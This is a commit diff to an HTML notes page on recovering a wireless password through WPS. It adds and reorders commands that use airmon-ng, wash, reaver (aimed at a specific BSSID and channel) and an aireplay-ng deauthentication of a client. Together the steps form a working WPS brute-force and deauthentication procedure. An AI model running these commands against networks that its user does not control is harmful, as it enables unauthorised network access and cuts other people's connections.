diff options
Diffstat (limited to 'tools/wireless.html')
-rw-r--r-- | tools/wireless.html | 38 |
1 files changed, 31 insertions, 7 deletions
diff --git a/tools/wireless.html b/tools/wireless.html index f4eeddb..afb12b3 100644 --- a/tools/wireless.html +++ b/tools/wireless.html @@ -13,11 +13,7 @@ # iwconfig wlp2s0 essid name_of_network </pre> - <h4>Recover Password WPS</h4> - - <p>Tested on debian system only.</p> - - <p>First get mac address of the target cell;</p> + <p>To get mac address of the target cell;</p> <pre> # iwlist wlp2s0 scan @@ -29,6 +25,11 @@ Cell 03 - Address: A8:A6:68:98:0C:C5 </pre> + + <h4>Recover Password WPS</h4> + + <p>First check processes that interfere with state of the interface and kill them;</p> + <pre> # airmon-ng check @@ -57,7 +58,7 @@ # kill -9 1271 </pre> - <p>Just to be sure that everything is as it should;</p> + <p>If wireless card is intel;</p> <pre> # rmmod iwlmvm @@ -82,6 +83,18 @@ (monitor mode enabled on mon0) </pre> + <p>Airdump-ng don't report if a router have WPS or not, for that is used wash;</p> + + <pre> + # wash -i wlp2s0 + </pre> + + <p>If the program report "Found packet with bad FCS", run with -C;</p> + + <pre> + # wash -C -i wlp2s0 + </pre> + <p>Put mon0 on same channel of target cell;</p> <pre> @@ -91,8 +104,19 @@ <p>Start the magic;</p> <pre> - # reaver -i mon0 -b A8:A6:68:98:0C:C5 -vv + # reaver -i mon0 -b A8:A6:68:98:0C:C5 -c 6 -vv </pre> + <p>If BSSID is cloaked, not being broadcasted, provide it to reaver;</p> + + <pre> + # reaver -i mon0 -b A8:A6:68:98:0C:C5 -c 6 -e "bssid_name" -vv + </pre> + + <p>-a address of access point, -c client to deauthenticate</p> + + <pre> + aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 + </pre> </body> </html> |